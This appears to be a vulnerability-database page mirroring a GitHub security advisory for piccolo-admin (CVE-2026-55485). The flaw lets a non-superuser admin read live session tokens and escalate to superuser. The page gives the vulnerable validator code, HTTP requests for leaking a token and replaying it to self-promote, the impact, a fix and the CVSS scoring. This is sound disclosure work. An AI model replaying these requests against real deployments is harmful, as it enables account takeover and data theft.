GHSA-2GH4-JMWQ-RR8W

Vulnerability from github – Published: 2026-08-28 18:14 – Updated: 2026-08-28 18:14
VLAI
Summary
piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/.
Details

Summary

piccolo_admin uses a helper called superuser_validators to gate access to the user and session tables for non-superusers. The helper rejects PUT, PATCH, DELETE, and POST, but does not reject GET.

The sessions table stores live session tokens in plaintext, and the token column is not marked secret=True, so it is included in every GET response. Any non-superuser admin can therefore list every other user's live session token with one request, replay the token as their own Cookie: id=…, impersonate that user (including the superuser), and then permanently self-promote by writing superuser = true on their own row.

The chain is reachable on a realistic, documented configuration: a deployer adds the Sessions (and User) tables to create_admin([...]) so superusers have a UI to monitor and revoke sessions.

Affected component

  • File: piccolo_admin/endpoints.py
  • Function: superuser_validators (around line 419)
def superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):
    user: BaseUser = request.user.user
    if not user.superuser:
        if request.method.upper() in ["PUT", "PATCH", "DELETE", "POST"]:
            raise HTTPException(
                detail="Only superusers can perform these actions.",
                status_code=405,
            )

The method check is a deny-list instead of an allow-list; GET is absent. Compounding the issue, SessionsBase.token in piccolo_api/session_auth/tables.py is a Varchar without secret=True, so the default exclude_secrets=True in PiccoloCRUD does not strip it.

Preconditions

  1. Network reachability to the admin.
  2. Valid credentials for a non-superuser admin (admin=True, superuser=False — the default role created by BaseUser.create_user(admin=True)).
  3. The deployment includes the Sessions table (and typically the User table) in create_admin([...]) — the documented pattern for "active sessions" management UIs.

Steps to reproduce

  1. Log in as the non-superuser admin (john / john123). Open the Piccolo User table and confirm john's SUPERUSER column is . (See Screenshot 1.) 01-john-piccolo_user-list

  2. Attempt the target write directly. Send the following request:

```http PATCH /api/tables/piccolo_user/2/ HTTP/1.1 Host: target:8001 Content-Type: application/json Cookie: id=; csrftoken= X-CSRFToken:

{"superuser": true} ```

The server returns:

HTTP/1.1 405 {"detail":"Only superusers can perform these actions."}

The same response is shown both in the dashboard banner (Screenshot 2) and in Burp Repeater (Screenshot 3). This establishes the privilege boundary that the bug will break. 02-john-save-blocked-405 03-john-save-blocked-405

  1. Leak the credential. As the same john user, request:

http GET /api/tables/sessions/ HTTP/1.1 Host: target:8001 Cookie: id=<john's session>; csrftoken=<token>

Response: 200 OK containing every active session in plaintext, e.g.

json {"rows":[ {"token":"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE","user_id":1, ...}, {"token":"...","user_id":2, ...}, ... ]}

Copy the token value of any row whose user_id matches the superuser. That string IS the live session cookie of that user. (Screenshot 4.) 04-john-sees-all-session-tokens

  1. Replay the step-2 PATCH with the stolen cookie. Send the exact same request as step 2, changing only the Cookie: id= value to the stolen token:

```http PATCH /api/tables/piccolo_user/2/ HTTP/1.1 Host: target:8001 Content-Type: application/json Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken= X-CSRFToken:

{"superuser": true} ```

Response: 200 OK, body shows "superuser": true for john. (Screenshot 5.) 05-john-self-promote

  1. Verify persistence. Log in fresh as john / john123 (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed — the elevation is permanent on john's own row.

Impact

Full superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:

  • read/write/delete any row in any table the admin exposes;
  • revoke any other session, locking out other admins;
  • change any user's password;
  • export data (including via the bulk CSV download forms);
  • plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.

Persistence is automatic — once the attacker writes superuser=true on their own row in step 4, the stolen cookie can be discarded.

Suggested fix

Primary (single-line): make superuser_validators reject all requests from non-superusers — there is no legitimate non-superuser use case for the user or session tables in this context:

def superuser_validators(piccolo_crud, request):
    if not request.user.user.superuser:
        raise HTTPException(
            status_code=403,
            detail="Only superusers can access this resource.",
        )

Defence in depth: in piccolo_api/session_auth/tables.py, mark SessionsBase.token with secret=True. The existing exclude_secrets=True default on PiccoloCRUD then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.

Severity

CVSS 3.1: 8.8 HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Reasoning: - AV:N — accessible over the network. - AC:L — single GET; no race or timing dependency. - PR:L — requires non-superuser admin credentials (the default admin role). - UI:N — no victim interaction needed. - S:U — scope kept Unchanged to be conservative; some auditors may prefer S:C (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate. - C:H / I:H / A:H — full read, full write, full availability impact on the admin's data and on other users' sessions.

Weaknesses

  • CWE-269 Improper Privilege Management (primary)
  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
  • CWE-863 Incorrect Authorization

Notes for the maintainer

  • The vulnerability is reachable on any version where superuser_validators uses a method deny-list and SessionsBase.token is not secret=True. I tested against piccolo_admin 1.13.0 + piccolo_api 1.9.0.
  • The shipped admin_demo does not expose the Sessions table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions) configuration, which mirrors the documented "Sessions admin view" pattern.
  • I'm happy to coordinate disclosure timing and validate any candidate patch.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.13.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "piccolo-admin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-269",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:14:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`piccolo_admin` uses a helper called `superuser_validators` to gate access to the user and session tables for non-superusers. The helper rejects `PUT`, `PATCH`, `DELETE`, and `POST`, but **does not reject `GET`**.\n\nThe `sessions` table stores live session tokens **in plaintext**, and the token column is not marked `secret=True`, so it is included in every `GET` response. Any non-superuser admin can therefore list every other user\u0027s live session token with one request, replay the token as their own `Cookie: id=\u2026`, impersonate that user (including the superuser), and then permanently self-promote by writing `superuser = true` on their own row.\n\nThe chain is reachable on a realistic, documented configuration: a deployer adds the `Sessions` (and `User`) tables to `create_admin([...])` so superusers have a UI to monitor and revoke sessions.\n\n## Affected component\n\n- **File**: `piccolo_admin/endpoints.py`\n- **Function**: `superuser_validators` (around line 419)\n\n```python\ndef superuser_validators(piccolo_crud: PiccoloCRUD, request: Request):\n    user: BaseUser = request.user.user\n    if not user.superuser:\n        if request.method.upper() in [\"PUT\", \"PATCH\", \"DELETE\", \"POST\"]:\n            raise HTTPException(\n                detail=\"Only superusers can perform these actions.\",\n                status_code=405,\n            )\n```\n\nThe method check is a **deny-list** instead of an **allow-list**; `GET` is absent. Compounding the issue, `SessionsBase.token` in `piccolo_api/session_auth/tables.py` is a `Varchar` without `secret=True`, so the default `exclude_secrets=True` in `PiccoloCRUD` does not strip it.\n\n## Preconditions\n\n1. Network reachability to the admin.\n2. Valid credentials for a non-superuser admin (`admin=True, superuser=False` \u2014 the default role created by `BaseUser.create_user(admin=True)`).\n3. The deployment includes the `Sessions` table (and typically the `User` table) in `create_admin([...])` \u2014 the documented pattern for \"active sessions\" management UIs.\n\n## Steps to reproduce\n\n1. **Log in as the non-superuser admin** (`john / john123`). Open the *Piccolo User* table and confirm john\u0027s `SUPERUSER` column is **\u2717**. *(See Screenshot 1.)*\n\u003cimg width=\"3024\" height=\"1430\" alt=\"01-john-piccolo_user-list\" src=\"https://github.com/user-attachments/assets/31a6f81e-7d12-434a-ac99-ff64e15511f9\" /\u003e\n\n2. **Attempt the target write directly.** Send the following request:\n\n   ```http\n   PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n   Host: target:8001\n   Content-Type: application/json\n   Cookie: id=\u003cjohn\u0027s session\u003e; csrftoken=\u003ctoken\u003e\n   X-CSRFToken: \u003ctoken\u003e\n\n   {\"superuser\": true}\n   ```\n\n   The server returns:\n\n   ```\n   HTTP/1.1 405\n   {\"detail\":\"Only superusers can perform these actions.\"}\n   ```\n\n   The same response is shown both in the dashboard banner *(Screenshot 2)* and in Burp Repeater *(Screenshot 3)*. This establishes the privilege boundary that the bug will break.\n\u003cimg width=\"3024\" height=\"2158\" alt=\"02-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/81f4b0b6-fe58-43da-b63e-6161e5911fc0\" /\u003e\n\u003cimg width=\"1213\" height=\"713\" alt=\"03-john-save-blocked-405\" src=\"https://github.com/user-attachments/assets/2eb33b00-a209-4e92-b18b-1f6520dde702\" /\u003e\n\n3. **Leak the credential.** As the same john user, request:\n\n   ```http\n   GET /api/tables/sessions/ HTTP/1.1\n   Host: target:8001\n   Cookie: id=\u003cjohn\u0027s session\u003e; csrftoken=\u003ctoken\u003e\n   ```\n\n   Response: `200 OK` containing every active session in plaintext, e.g.\n\n   ```json\n   {\"rows\":[\n     {\"token\":\"jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE\",\"user_id\":1, ...},\n     {\"token\":\"...\",\"user_id\":2, ...},\n     ...\n   ]}\n   ```\n\n   Copy the `token` value of any row whose `user_id` matches the superuser. **That string IS the live session cookie of that user.** *(Screenshot 4.)*\n\u003cimg width=\"1512\" height=\"850\" alt=\"04-john-sees-all-session-tokens\" src=\"https://github.com/user-attachments/assets/3303231f-ed87-4b32-8cab-7aa480315529\" /\u003e\n\n4. **Replay the step-2 PATCH with the stolen cookie.** Send the exact same request as step 2, changing only the `Cookie: id=` value to the stolen token:\n\n   ```http\n   PATCH /api/tables/piccolo_user/2/ HTTP/1.1\n   Host: target:8001\n   Content-Type: application/json\n   Cookie: id=jeb1d-IXIC0BWTOV6G-ApTksrbvdBDkZV9KN4taN2nE; csrftoken=\u003ctoken\u003e\n   X-CSRFToken: \u003ctoken\u003e\n\n   {\"superuser\": true}\n   ```\n\n   Response: `200 OK`, body shows `\"superuser\": true` for john. *(Screenshot 5.)*\n\u003cimg width=\"1213\" height=\"713\" alt=\"05-john-self-promote\" src=\"https://github.com/user-attachments/assets/4399866a-06e8-4568-b599-922a5b16805e\" /\u003e\n\n5. **Verify persistence.** Log in fresh as `john / john123` (no stolen cookie). John is now a superuser. The stolen cookie is no longer needed \u2014 the elevation is permanent on john\u0027s own row.\n\n## Impact\n\nFull superuser takeover of the admin from any non-superuser admin account. The promoted attacker can:\n\n- read/write/delete any row in any table the admin exposes;\n- revoke any other session, locking out other admins;\n- change any user\u0027s password;\n- export data (including via the bulk CSV download forms);\n- plant payloads (e.g. CSV-formula injections) that fire when higher-trust operators open exports.\n\nPersistence is automatic \u2014 once the attacker writes `superuser=true` on their own row in step 4, the stolen cookie can be discarded.\n\n## Suggested fix\n\n**Primary (single-line):** make `superuser_validators` reject **all** requests from non-superusers \u2014 there is no legitimate non-superuser use case for the user or session tables in this context:\n\n```python\ndef superuser_validators(piccolo_crud, request):\n    if not request.user.user.superuser:\n        raise HTTPException(\n            status_code=403,\n            detail=\"Only superusers can access this resource.\",\n        )\n```\n\n**Defence in depth:** in `piccolo_api/session_auth/tables.py`, mark `SessionsBase.token` with `secret=True`. The existing `exclude_secrets=True` default on `PiccoloCRUD` then strips the field from every response, closing the leak even if the validator is later misconfigured by a downstream consumer.\n\n## Severity\n\n**CVSS 3.1: 8.8 HIGH** \u2014 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`\n\nReasoning:\n- **AV:N** \u2014 accessible over the network.\n- **AC:L** \u2014 single GET; no race or timing dependency.\n- **PR:L** \u2014 requires non-superuser admin credentials (the default admin role).\n- **UI:N** \u2014 no victim interaction needed.\n- **S:U** \u2014 scope kept Unchanged to be conservative; some auditors may prefer `S:C` (which yields 9.9 Critical) because crossing from admin to superuser breaks an explicit, named privilege gate.\n- **C:H / I:H / A:H** \u2014 full read, full write, full availability impact on the admin\u0027s data and on other users\u0027 sessions.\n\n## Weaknesses\n\n- **CWE-269** Improper Privilege Management *(primary)*\n- **CWE-200** Exposure of Sensitive Information to an Unauthorized Actor\n- **CWE-863** Incorrect Authorization\n\n## Notes for the maintainer\n\n- The vulnerability is reachable on any version where `superuser_validators` uses a method deny-list and `SessionsBase.token` is not `secret=True`. I tested against `piccolo_admin 1.13.0` + `piccolo_api 1.9.0`.\n- The shipped `admin_demo` does not expose the `Sessions` table, so the bug is not reproducible against the demo as-shipped. The PoC harness used a minimal `create_admin([..., TableConfig(User), TableConfig(Sessions)], auth_table=User, session_table=Sessions)` configuration, which mirrors the documented \"Sessions admin view\" pattern.\n- I\u0027m happy to coordinate disclosure timing and validate any candidate patch.",
  "id": "GHSA-2gh4-jmwq-rr8w",
  "modified": "2026-08-28T18:14:13Z",
  "published": "2026-08-28T18:14:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/security/advisories/GHSA-2gh4-jmwq-rr8w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/pull/331"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/commit/96ddae12baf12288056cbb0cda6f9e8d7e22c86d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/commit/520ec2567ae1d2cc417c8c0d1ad0ddc05549a8a4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/piccolo-orm/piccolo_admin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_admin/releases/tag/1.14.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/piccolo-orm/piccolo_api/releases/tag/1.10.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "piccolo-admin has a privilege escalation issue - admin to superuser via session-token disclosure in GET /api/tables/sessions/."
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…